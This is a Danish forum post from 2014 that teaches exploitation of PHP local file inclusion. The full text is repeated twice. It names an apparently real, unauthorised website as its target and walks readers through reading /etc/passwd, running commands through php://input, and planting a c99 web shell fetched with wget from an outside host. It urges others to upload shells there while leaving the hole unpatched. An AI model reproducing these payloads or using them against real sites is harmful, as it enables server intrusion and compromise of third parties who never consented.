06-01-2014, 18:04
Introduktion til lfi
Lfi står for local file inclusion og er en sårbarhed der kan opstå i include()-keywordet. Når man tester for lfi sårbarheder, har man typisk et url med en funktion, som eksempelvis kan se sådan her ud
www.site.com/index.php?page=main.php
www.site.com/index.php?page=contact.php
www.site.com/index.php?page=about.php
osv, osv...
Test af lfi sårbarheder
Første trin for at tjekke efter mulige lfi sårbarheder kan være at ændre på variablen som man ønkser, kan eksempelvis gøres via et simpelt ' som når man tester for sqli. Hvis man gør dette, vil en side med lfi/rfi-sårbarhed oftest give en fejlkode ala:
Warning: include(værdien du satte ind i variablen) [function.include]: failed to open stream: No such file or directory in /home/blablabla/public_html/index.php on line X
At siden giver en fejlkode betyder dog ikke at den er sårbar, og en side kan sagtens være sårbar uden at give en inclusion error, men det er en fin lille tommelfingerregel til lige at teste, inden man går i gang
De metoder der oftest bliver udnyttet er via /proc/self/environ og php://input, som vi skal lege med på vores forsøgskanin længere nede. Husk også på, at der nogle gange skal tilføjes %00 efter, så /etc/passwd bliver /etc/passwd%00, og nogle gange skal man også kigge directories igennem ved at skrive ../etc/passwd, ../../etc/passwd osv.
For at teste file inclusion sårbarheder kan man evt. bruge fimap til formålet, som jeg tidligere har givet en hurtig introduktion til i http://www.shellsec.pw/showthread.php?tid=1073
udnyttelse af lfi
krav:
firefox browser
hackbar til firefox
Som en del af øvelsen har jeg fundet en sårbar side, som vi kan bruge til at gennemgå vores øvelse
www.otc78.com/index.php?page=FR/garne/garne.html
ved at teste for /etc/passwd kan vi bekræfte vores file inclusion sårbarhed, men desværre har vi intet resultat i /proc/self/environ
Nu er det så tid til at teste efter om vi kan udnytte php://input! Dette gøres ved at loade vores url i hackbar og teste for RCE (Remote code execution) i Post data feltet. Hvis vi skriver <? system('ls'); ?> vil vi se, at serveren svarer på ”ls”-kommandoen, som viser filerne i directory. På billedet nedenunder kan I se hvad jeg mener og hvordan det gerne skulle se ud i jeres browser
shell
Nu kommer det sjove endelig! Da vi kan se, at RCE virker fint gennem vores file inclusion-fejl, kan vi nu lægge et shell op. Der findes en del forskellige man kan vælge frit fra, men vi vælger bare c99, da det er en populær favorit hos mange og er yderst brugervenligt. Ligesom før skriver vi i Post data feltet:
<? system('wget http://www.sh3ll.org/c99.txt -O shell.php');?>
Her kan I selv ændre url til jeres foretrukne shell og vælge, hvad navnet på jeres shell skal være
Hvis alt er gået som det skal, så burde I meget gerne have et shell liggende på www.otc78.com/shell.php som I kan bruge til hvad I vil
PS: Jeg vil gerne bede folk om at lade være med at deface, ødelægge eller rm -rf den. Læg jeres shell op, ryd op og lad serveren hvile i fred, så den næste person der læser dette kan lære lidt i stedet for at admin patcher fejlen med det samme. Jeg håber at der er nogen herinde, der kunne bruge dette til noget, og hvis der er mange der stadig er nye indenfor lfi, kan jeg hurtigt lave en vejledning til, hvordan man bruger /proc/self/environ til at lave RCE vis tamper data i user agent. Hvis folk synes jeg mangler at uddybe noget, så må I gerne give noget feedback, og så kan jeg evt. tilføje lidt mere hvis det skulle være nødvendigt
Lfi står for local file inclusion og er en sårbarhed der kan opstå i include()-keywordet. Når man tester for lfi sårbarheder, har man typisk et url med en funktion, som eksempelvis kan se sådan her ud
www.site.com/index.php?page=main.php
www.site.com/index.php?page=contact.php
www.site.com/index.php?page=about.php
osv, osv...
Test af lfi sårbarheder
Første trin for at tjekke efter mulige lfi sårbarheder kan være at ændre på variablen som man ønkser, kan eksempelvis gøres via et simpelt ' som når man tester for sqli. Hvis man gør dette, vil en side med lfi/rfi-sårbarhed oftest give en fejlkode ala:
Warning: include(værdien du satte ind i variablen) [function.include]: failed to open stream: No such file or directory in /home/blablabla/public_html/index.php on line X
At siden giver en fejlkode betyder dog ikke at den er sårbar, og en side kan sagtens være sårbar uden at give en inclusion error, men det er en fin lille tommelfingerregel til lige at teste, inden man går i gang
De metoder der oftest bliver udnyttet er via /proc/self/environ og php://input, som vi skal lege med på vores forsøgskanin længere nede. Husk også på, at der nogle gange skal tilføjes %00 efter, så /etc/passwd bliver /etc/passwd%00, og nogle gange skal man også kigge directories igennem ved at skrive ../etc/passwd, ../../etc/passwd osv.
For at teste file inclusion sårbarheder kan man evt. bruge fimap til formålet, som jeg tidligere har givet en hurtig introduktion til i http://www.shellsec.pw/showthread.php?tid=1073
udnyttelse af lfi
krav:
firefox browser
hackbar til firefox
Som en del af øvelsen har jeg fundet en sårbar side, som vi kan bruge til at gennemgå vores øvelse
www.otc78.com/index.php?page=FR/garne/garne.html
ved at teste for /etc/passwd kan vi bekræfte vores file inclusion sårbarhed, men desværre har vi intet resultat i /proc/self/environ
Nu er det så tid til at teste efter om vi kan udnytte php://input! Dette gøres ved at loade vores url i hackbar og teste for RCE (Remote code execution) i Post data feltet. Hvis vi skriver <? system('ls'); ?> vil vi se, at serveren svarer på ”ls”-kommandoen, som viser filerne i directory. På billedet nedenunder kan I se hvad jeg mener og hvordan det gerne skulle se ud i jeres browser
shell
Nu kommer det sjove endelig! Da vi kan se, at RCE virker fint gennem vores file inclusion-fejl, kan vi nu lægge et shell op. Der findes en del forskellige man kan vælge frit fra, men vi vælger bare c99, da det er en populær favorit hos mange og er yderst brugervenligt. Ligesom før skriver vi i Post data feltet:
<? system('wget http://www.sh3ll.org/c99.txt -O shell.php');?>
Her kan I selv ændre url til jeres foretrukne shell og vælge, hvad navnet på jeres shell skal være
Hvis alt er gået som det skal, så burde I meget gerne have et shell liggende på www.otc78.com/shell.php som I kan bruge til hvad I vil
PS: Jeg vil gerne bede folk om at lade være med at deface, ødelægge eller rm -rf den. Læg jeres shell op, ryd op og lad serveren hvile i fred, så den næste person der læser dette kan lære lidt i stedet for at admin patcher fejlen med det samme. Jeg håber at der er nogen herinde, der kunne bruge dette til noget, og hvis der er mange der stadig er nye indenfor lfi, kan jeg hurtigt lave en vejledning til, hvordan man bruger /proc/self/environ til at lave RCE vis tamper data i user agent. Hvis folk synes jeg mangler at uddybe noget, så må I gerne give noget feedback, og så kan jeg evt. tilføje lidt mere hvis det skulle være nødvendigt